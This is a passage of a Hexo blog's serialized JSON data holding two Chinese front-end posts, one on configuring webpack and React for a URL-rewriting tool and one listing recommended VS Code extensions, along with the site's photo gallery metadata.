title=\"extract-text-webpack-plugin\"></a>extract-text-webpack-plugin</h4><p>将 css 抽离出 js</p>\n<pre><code>test: /\\.css$/,\nuse: ExtractTextPlugin.extract({\n    fallback: &quot;style-loader&quot;,               // 提取 css 文件\n    use: [{                                 // 编译文件\n            loader: &quot;css-loader&quot;,\n            options: {\n                // modules: true,              // 组件化\n                minimize: true              // 压缩\n            }\n        }, {\n            loader: &quot;postcss-loader&quot;     // 将 css 添加前缀\n        }\n    ]\n})\n</code></pre><h4 id=\"friendly-errors-webpack-plugin\"><a href=\"#friendly-errors-webpack-plugin\" class=\"headerlink\" title=\"friendly-errors-webpack-plugin\"></a>friendly-errors-webpack-plugin</h4><p>友好的错误提示插件</p>\n<h3 id=\"package-json-配置\"><a href=\"#package-json-配置\" class=\"headerlink\" title=\"package.json 配置\"></a>package.json 配置</h3><h4 id=\"依赖包\"><a href=\"#依赖包\" class=\"headerlink\" title=\"依赖包\"></a>依赖包</h4><ol>\n<li><p>autoprefixer(需要和 postcss-loader 一起使用)</p>\n<blockquote>\n<p>补全 css 前缀</p>\n</blockquote>\n</li>\n<li><p>babel 合集</p>\n<pre><code>babel-core\nbabel-loader\nbabel-plugin-react-transform\nbabel-preset-env\nbabel-preset-react\n</code></pre></li>\n<li><p>react-transform-catch-errors、redbox-react</p>\n<blockquote>\n<p>react 报错插件</p>\n</blockquote>\n</li>\n<li><p>copy-to-clipboard</p>\n<blockquote>\n<p>点击复制到剪贴板插件</p>\n</blockquote>\n</li>\n</ol>\n<h2 id=\"项目挖坑大全\"><a href=\"#项目挖坑大全\" class=\"headerlink\" title=\"项目挖坑大全\"></a>项目挖坑大全</h2><h3 id=\"关于-react-router-dom（我只能说，我的心好痛，调了3天没找到问题）\"><a href=\"#关于-react-router-dom（我只能说，我的心好痛，调了3天没找到问题）\" class=\"headerlink\" title=\"关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）\"></a>关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）</h3><ul>\n<li>引入和使用<br><code>`</code><br>import { HashRouter as Router, Route, Link } from ‘react-router-dom’</li>\n</ul>\n<p>ReactDOM.render(<br>  <router><br>    <app><br>          <route path=\"/\" exact=\"\" component=\"{Home}\"><br>          <route path=\"/goods\" component=\"{Goods}\"><br>          <route path=\"/detail\" component=\"{Detail}\"><br>          <route path=\"/active\" component=\"{Active}\"><br>    </route></route></route></route></app><br>  </router><br>  ,<br>  document.getElementById(‘app’)<br>)</p>\n<p>在父级 APP 中记得加入 this.props.children<br><code>`</code></p>\n<blockquote>\n<p>路由渲染不要带着DOM一起渲染，如果可以将 router 单独作为一个组件处理，本例稍简单，并未分离出去</p>\n</blockquote>\n<h3 id=\"关于图片打包\"><a href=\"#关于图片打包\" class=\"headerlink\" title=\"关于图片打包\"></a>关于图片打包</h3><p>神坑啊！设置的时候是将 8K 以内的图片打包后转为 base64，所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"urlMaker-开发流程\"><a href=\"#urlMaker-开发流程\" class=\"headerlink\" title=\"urlMaker 开发流程\"></a>urlMaker 开发流程</h1><h2 id=\"项目需求\"><a href=\"#项目需求\" class=\"headerlink\" title=\"项目需求\"></a>项目需求</h2><ul>\n<li>对 url 链接中的汉字和参数进行替换</li>\n</ul>\n<h2 id=\"技术栈\"><a href=\"#技术栈\" class=\"headerlink\" title=\"技术栈\"></a>技术栈</h2><ul>\n<li><p>框架：react</p>\n<blockquote>\n<p>注意：路由用的是4.0版</p>\n</blockquote>\n</li>\n<li><p>打包工具：webpack2.0</p>\n</li>\n<li>代码：es6</li>\n<li>规范：ESlint</li>\n</ul>\n<h2 id=\"前期准备\"><a href=\"#前期准备\" class=\"headerlink\" title=\"前期准备\"></a>前期准备</h2><ul>\n<li>由于之前的项目中都用的是 gulp 打包，所以 webpack 是个大坑，由于没有怎么深入了解，所以对其中的一些配置有点茫然，想起之前用过 vue-cli，里面有 webpack 的配置，然后，就没有然后了……</li>\n<li>百度是个好东西，寻找了一系列文章，个人认为简书上的《入门webpack，看这篇就够了》足矣满足大多数需求，很感谢作者的良苦用心。点赞！</li>\n</ul>\n<h2 id=\"环境配置\"><a href=\"#环境配置\" class=\"headerlink\" title=\"环境配置\"></a>环境配置</h2><h3 id=\"webpack-核心模块\"><a href=\"#webpack-核心模块\" class=\"headerlink\" title=\"webpack 核心模块\"></a>webpack 核心模块</h3><h4 id=\"entry\"><a href=\"#entry\" class=\"headerlink\" title=\"entry\"></a>entry</h4><p>项目唯一入口</p>\n<blockquote>\n<p>这里发现一个问题，就是当我打包时全部 js 在同一个文件中，文件太大了，性能体验上是非常可怕的，反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor，将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1，vendor2.</p>\n</blockquote>\n<h4 id=\"output\"><a href=\"#output\" class=\"headerlink\" title=\"output\"></a>output</h4><p>项目输出文件夹 </p>\n<blockquote>\n<p>[name].[hash:8].js</p>\n</blockquote>\n<h4 id=\"module\"><a href=\"#module\" class=\"headerlink\" title=\"module\"></a>module</h4><p>html,js,css,img 处理组件</p>\n<ul>\n<li>css-loader</li>\n<li>babel-loader</li>\n<li>url-loader</li>\n<li>style-loader</li>\n<li>postcss-loader</li>\n</ul>\n<h4 id=\"plugins\"><a href=\"#plugins\" class=\"headerlink\" title=\"plugins\"></a>plugins</h4><p>其他优化插件,该处只介绍 webpack 自带的一些插件库</p>\n<ul>\n<li><p>webpack.BannerPlugin</p>\n<blockquote>\n<p>给打包文件添加一个banner</p>\n</blockquote>\n</li>\n<li><p>webpack.optimize.UglifyJsPlugin</p>\n<blockquote>\n<p>压缩 js</p>\n</blockquote>\n</li>\n<li><p>webpack.optimize.OccurrenceOrderPlugin</p>\n<blockquote>\n<p>添加唯一 ID</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"webpack-推荐模块\"><a href=\"#webpack-推荐模块\" class=\"headerlink\" title=\"webpack 推荐模块\"></a>webpack 推荐模块</h3><h4 id=\"webpack-dev-server\"><a href=\"#webpack-dev-server\" class=\"headerlink\" title=\"webpack-dev-server\"></a>webpack-dev-server</h4><p>热加载插件，在 script 中的命令参数：</p>\n<blockquote>\n<p>–devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号<br>–progress: 显示合并代码进度<br>–colors: 在命令行中显示颜色<br>–content-base build: 指向设置的输出目录<br>–hot: 注意在 config 文件中如果已经new plugin，就不要hot了，二选一。</p>\n</blockquote>\n<h4 id=\"html-webpack-plugin\"><a href=\"#html-webpack-plugin\" class=\"headerlink\" title=\"html-webpack-plugin\"></a>html-webpack-plugin</h4><p>根据预先的模板实例化一个html</p>\n<pre><code>new HtmlWebpackPlugin({\n        title: &#39;&#39;,\n        template: __dirname + &quot;/src/index.html&quot;,\n        minify: {\n            &quot;removeAttributeQuotes&quot;: true,      //  移除注释\n            &quot;removeComments&quot;: true,             //  移除空格\n            &quot;removeEmptyAttributes&quot;: true,      //  移除空白行\n        },\n        chunks: [&#39;index&#39;, &#39;vendors&#39;],   // 配置该html文件要添加的模块\n        // inject: &#39;body&#39;\n    })\n</code></pre><h4 id=\"clean-webpack-plugin\"><a href=\"#clean-webpack-plugin\" class=\"headerlink\" title=\"clean-webpack-plugin\"></a>clean-webpack-plugin</h4><p>删除 webpack 缓存插件</p>\n<pre><code>new CleanWebpackPlugin(&#39;build/&#39;, {          //  清除缓存文件\n        root: __dirname,\n        verbose: true,\n        dry: false\n    })\n</code></pre><h4 id=\"extract-text-webpack-plugin\"><a href=\"#extract-text-webpack-plugin\" class=\"headerlink\" title=\"extract-text-webpack-plugin\"></a>extract-text-webpack-plugin</h4><p>将 css 抽离出 js</p>\n<pre><code>test: /\\.css$/,\nuse: ExtractTextPlugin.extract({\n    fallback: &quot;style-loader&quot;,               // 提取 css 文件\n    use: [{                                 // 编译文件\n            loader: &quot;css-loader&quot;,\n            options: {\n                // modules: true,              // 组件化\n                minimize: true              // 压缩\n            }\n        }, {\n            loader: &quot;postcss-loader&quot;     // 将 css 添加前缀\n        }\n    ]\n})\n</code></pre><h4 id=\"friendly-errors-webpack-plugin\"><a href=\"#friendly-errors-webpack-plugin\" class=\"headerlink\" title=\"friendly-errors-webpack-plugin\"></a>friendly-errors-webpack-plugin</h4><p>友好的错误提示插件</p>\n<h3 id=\"package-json-配置\"><a href=\"#package-json-配置\" class=\"headerlink\" title=\"package.json 配置\"></a>package.json 配置</h3><h4 id=\"依赖包\"><a href=\"#依赖包\" class=\"headerlink\" title=\"依赖包\"></a>依赖包</h4><ol>\n<li><p>autoprefixer(需要和 postcss-loader 一起使用)</p>\n<blockquote>\n<p>补全 css 前缀</p>\n</blockquote>\n</li>\n<li><p>babel 合集</p>\n<pre><code>babel-core\nbabel-loader\nbabel-plugin-react-transform\nbabel-preset-env\nbabel-preset-react\n</code></pre></li>\n<li><p>react-transform-catch-errors、redbox-react</p>\n<blockquote>\n<p>react 报错插件</p>\n</blockquote>\n</li>\n<li><p>copy-to-clipboard</p>\n<blockquote>\n<p>点击复制到剪贴板插件</p>\n</blockquote>\n</li>\n</ol>\n<h2 id=\"项目挖坑大全\"><a href=\"#项目挖坑大全\" class=\"headerlink\" title=\"项目挖坑大全\"></a>项目挖坑大全</h2><h3 id=\"关于-react-router-dom（我只能说，我的心好痛，调了3天没找到问题）\"><a href=\"#关于-react-router-dom（我只能说，我的心好痛，调了3天没找到问题）\" class=\"headerlink\" title=\"关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）\"></a>关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）</h3><ul>\n<li>引入和使用<br><code>`</code><br>import { HashRouter as Router, Route, Link } from ‘react-router-dom’</li>\n</ul>\n<p>ReactDOM.render(<br>  <router><br>    <app><br>          <route path=\"/\" exact=\"\" component=\"{Home}\"><br>          <route path=\"/goods\" component=\"{Goods}\"><br>          <route path=\"/detail\" component=\"{Detail}\"><br>          <route path=\"/active\" component=\"{Active}\"><br>    </route></route></route></route></app><br>  </router><br>  ,<br>  document.getElementById(‘app’)<br>)</p>\n<p>在父级 APP 中记得加入 this.props.children<br><code>`</code></p>\n<blockquote>\n<p>路由渲染不要带着DOM一起渲染，如果可以将 router 单独作为一个组件处理，本例稍简单，并未分离出去</p>\n</blockquote>\n<h3 id=\"关于图片打包\"><a href=\"#关于图片打包\" class=\"headerlink\" title=\"关于图片打包\"></a>关于图片打包</h3><p>神坑啊！设置的时候是将 8K 以内的图片打包后转为 base64，所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹</p>\n"},{"title":"vscode 配置插件推荐","date":"2017-12-26T03:06:19.000Z","_content":"# vscode 配置\n\n\b\n## auto-Open Markdown\n\nmarkdown 预览插件\n\n## beautify\n\n让代码更符合规范\n\n## Bracket Pair Colorizer\n\n括号上色插件，神器推荐\n\n## vscode-ext-color-highlight\n\n颜色上色插件\n\n## color-\bpicker\n\n取色插件\n\n## cssrem\n\nrem转换工具\n\n## Debugger for Chrome\n\ndebugger插件，正在学怎么用\n\n## ESlint\n\n代码规范插件\n\n## file-icons\n\n图标插件\n\n## git History\n\n查看历史修改记录插件\n\n## hopscotch\n\n可爱的代码颜色风格\n\n## html css support\n\n应该改支持代码提示插件吧\n\n## markdownlint\n\nmarkdown\b \b语法提示插件\n\n## path autocomplete\n\n路径补全插件\n\n## react native tools\n\n暂时没用上\n\n## react-native\n\n也没用上\n\n## settings sync\n\n插件备份工具，神器\n\n## background\n\n一款美化插件配置如下：\n\n```js\n\"background.useDefault\": false,\n    \"background.enabled\": true,\n    \"background.customImages\": [\n        \"file:///Users/mac/Desktop/improve/1.jpg\"\n    ],\n    \"background.style\": {\n        \"opacity\": 0.1,\n        \"width\": \"1600px\",\n        \"height\": \"1150px\"\n    }\n```\n\n> ps: 超级超级吃 CPU 慎用！！\n","source":"_posts/vscode-配置插件推荐.md","raw":"---\ntitle: vscode 配置插件推荐\ndate: 2017-12-26 11:06:19\ntags: [vscode]\ncategories: IDE\n---\n# vscode 配置\n\n\b\n## auto-Open Markdown\n\nmarkdown 预览插件\n\n## beautify\n\n让代码更符合规范\n\n## Bracket Pair Colorizer\n\n括号上色插件，神器推荐\n\n## vscode-ext-color-highlight\n\n颜色上色插件\n\n## color-\bpicker\n\n取色插件\n\n## cssrem\n\nrem转换工具\n\n## Debugger for Chrome\n\ndebugger插件，正在学怎么用\n\n## ESlint\n\n代码规范插件\n\n## file-icons\n\n图标插件\n\n## git History\n\n查看历史修改记录插件\n\n## hopscotch\n\n可爱的代码颜色风格\n\n## html css support\n\n应该改支持代码提示插件吧\n\n## markdownlint\n\nmarkdown\b \b语法提示插件\n\n## path autocomplete\n\n路径补全插件\n\n## react native tools\n\n暂时没用上\n\n## react-native\n\n也没用上\n\n## settings sync\n\n插件备份工具，神器\n\n## background\n\n一款美化插件配置如下：\n\n```js\n\"background.useDefault\": false,\n    \"background.enabled\": true,\n    \"background.customImages\": [\n        \"file:///Users/mac/Desktop/improve/1.jpg\"\n    ],\n    \"background.style\": {\n        \"opacity\": 0.1,\n        \"width\": \"1600px\",\n        \"height\": \"1150px\"\n    }\n```\n\n> ps: 超级超级吃 CPU 慎用！！\n","slug":"vscode-配置插件推荐","published":1,"updated":"2018-04-03T02:25:35.731Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5s0026vzqh3l4mzrik","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"vscode-配置\"><a href=\"#vscode-配置\" class=\"headerlink\" title=\"vscode 配置\"></a>vscode 配置</h1><p>\b</p>\n<h2 id=\"auto-Open-Markdown\"><a href=\"#auto-Open-Markdown\" class=\"headerlink\" title=\"auto-Open Markdown\"></a>auto-Open Markdown</h2><p>markdown 预览插件</p>\n<h2 id=\"beautify\"><a href=\"#beautify\" class=\"headerlink\" title=\"beautify\"></a>beautify</h2><p>让代码更符合规范</p>\n<h2 id=\"Bracket-Pair-Colorizer\"><a href=\"#Bracket-Pair-Colorizer\" class=\"headerlink\" title=\"Bracket Pair Colorizer\"></a>Bracket Pair Colorizer</h2><p>括号上色插件，神器推荐</p>\n<h2 id=\"vscode-ext-color-highlight\"><a href=\"#vscode-ext-color-highlight\" class=\"headerlink\" title=\"vscode-ext-color-highlight\"></a>vscode-ext-color-highlight</h2><p>颜色上色插件</p>\n<h2 id=\"color-picker\"><a href=\"#color-picker\" class=\"headerlink\" title=\"color-\bpicker\"></a>color-\bpicker</h2><p>取色插件</p>\n<h2 id=\"cssrem\"><a href=\"#cssrem\" class=\"headerlink\" title=\"cssrem\"></a>cssrem</h2><p>rem转换工具</p>\n<h2 id=\"Debugger-for-Chrome\"><a href=\"#Debugger-for-Chrome\" class=\"headerlink\" title=\"Debugger for Chrome\"></a>Debugger for Chrome</h2><p>debugger插件，正在学怎么用</p>\n<h2 id=\"ESlint\"><a href=\"#ESlint\" class=\"headerlink\" title=\"ESlint\"></a>ESlint</h2><p>代码规范插件</p>\n<h2 id=\"file-icons\"><a href=\"#file-icons\" class=\"headerlink\" title=\"file-icons\"></a>file-icons</h2><p>图标插件</p>\n<h2 id=\"git-History\"><a href=\"#git-History\" class=\"headerlink\" title=\"git History\"></a>git History</h2><p>查看历史修改记录插件</p>\n<h2 id=\"hopscotch\"><a href=\"#hopscotch\" class=\"headerlink\" title=\"hopscotch\"></a>hopscotch</h2><p>可爱的代码颜色风格</p>\n<h2 id=\"html-css-support\"><a href=\"#html-css-support\" class=\"headerlink\" title=\"html css support\"></a>html css support</h2><p>应该改支持代码提示插件吧</p>\n<h2 id=\"markdownlint\"><a href=\"#markdownlint\" class=\"headerlink\" title=\"markdownlint\"></a>markdownlint</h2><p>markdown\b \b语法提示插件</p>\n<h2 id=\"path-autocomplete\"><a href=\"#path-autocomplete\" class=\"headerlink\" title=\"path autocomplete\"></a>path autocomplete</h2><p>路径补全插件</p>\n<h2 id=\"react-native-tools\"><a href=\"#react-native-tools\" class=\"headerlink\" title=\"react native tools\"></a>react native tools</h2><p>暂时没用上</p>\n<h2 id=\"react-native\"><a href=\"#react-native\" class=\"headerlink\" title=\"react-native\"></a>react-native</h2><p>也没用上</p>\n<h2 id=\"settings-sync\"><a href=\"#settings-sync\" class=\"headerlink\" title=\"settings sync\"></a>settings sync</h2><p>插件备份工具，神器</p>\n<h2 id=\"background\"><a href=\"#background\" class=\"headerlink\" title=\"background\"></a>background</h2><p>一款美化插件配置如下：</p>\n<pre><code class=\"js\">&quot;background.useDefault&quot;: false,\n    &quot;background.enabled&quot;: true,\n    &quot;background.customImages&quot;: [\n        &quot;file:///Users/mac/Desktop/improve/1.jpg&quot;\n    ],\n    &quot;background.style&quot;: {\n        &quot;opacity&quot;: 0.1,\n        &quot;width&quot;: &quot;1600px&quot;,\n        &quot;height&quot;: &quot;1150px&quot;\n    }\n</code></pre>\n<blockquote>\n<p>ps: 超级超级吃 CPU 慎用！！</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"vscode-配置\"><a href=\"#vscode-配置\" class=\"headerlink\" title=\"vscode 配置\"></a>vscode 配置</h1><p>\b</p>\n<h2 id=\"auto-Open-Markdown\"><a href=\"#auto-Open-Markdown\" class=\"headerlink\" title=\"auto-Open Markdown\"></a>auto-Open Markdown</h2><p>markdown 预览插件</p>\n<h2 id=\"beautify\"><a href=\"#beautify\" class=\"headerlink\" title=\"beautify\"></a>beautify</h2><p>让代码更符合规范</p>\n<h2 id=\"Bracket-Pair-Colorizer\"><a href=\"#Bracket-Pair-Colorizer\" class=\"headerlink\" title=\"Bracket Pair Colorizer\"></a>Bracket Pair Colorizer</h2><p>括号上色插件，神器推荐</p>\n<h2 id=\"vscode-ext-color-highlight\"><a href=\"#vscode-ext-color-highlight\" class=\"headerlink\" title=\"vscode-ext-color-highlight\"></a>vscode-ext-color-highlight</h2><p>颜色上色插件</p>\n<h2 id=\"color-picker\"><a href=\"#color-picker\" class=\"headerlink\" title=\"color-\bpicker\"></a>color-\bpicker</h2><p>取色插件</p>\n<h2 id=\"cssrem\"><a href=\"#cssrem\" class=\"headerlink\" title=\"cssrem\"></a>cssrem</h2><p>rem转换工具</p>\n<h2 id=\"Debugger-for-Chrome\"><a href=\"#Debugger-for-Chrome\" class=\"headerlink\" title=\"Debugger for Chrome\"></a>Debugger for Chrome</h2><p>debugger插件，正在学怎么用</p>\n<h2 id=\"ESlint\"><a href=\"#ESlint\" class=\"headerlink\" title=\"ESlint\"></a>ESlint</h2><p>代码规范插件</p>\n<h2 id=\"file-icons\"><a href=\"#file-icons\" class=\"headerlink\" title=\"file-icons\"></a>file-icons</h2><p>图标插件</p>\n<h2 id=\"git-History\"><a href=\"#git-History\" class=\"headerlink\" title=\"git History\"></a>git History</h2><p>查看历史修改记录插件</p>\n<h2 id=\"hopscotch\"><a href=\"#hopscotch\" class=\"headerlink\" title=\"hopscotch\"></a>hopscotch</h2><p>可爱的代码颜色风格</p>\n<h2 id=\"html-css-support\"><a href=\"#html-css-support\" class=\"headerlink\" title=\"html css support\"></a>html css support</h2><p>应该改支持代码提示插件吧</p>\n<h2 id=\"markdownlint\"><a href=\"#markdownlint\" class=\"headerlink\" title=\"markdownlint\"></a>markdownlint</h2><p>markdown\b \b语法提示插件</p>\n<h2 id=\"path-autocomplete\"><a href=\"#path-autocomplete\" class=\"headerlink\" title=\"path autocomplete\"></a>path autocomplete</h2><p>路径补全插件</p>\n<h2 id=\"react-native-tools\"><a href=\"#react-native-tools\" class=\"headerlink\" title=\"react native tools\"></a>react native 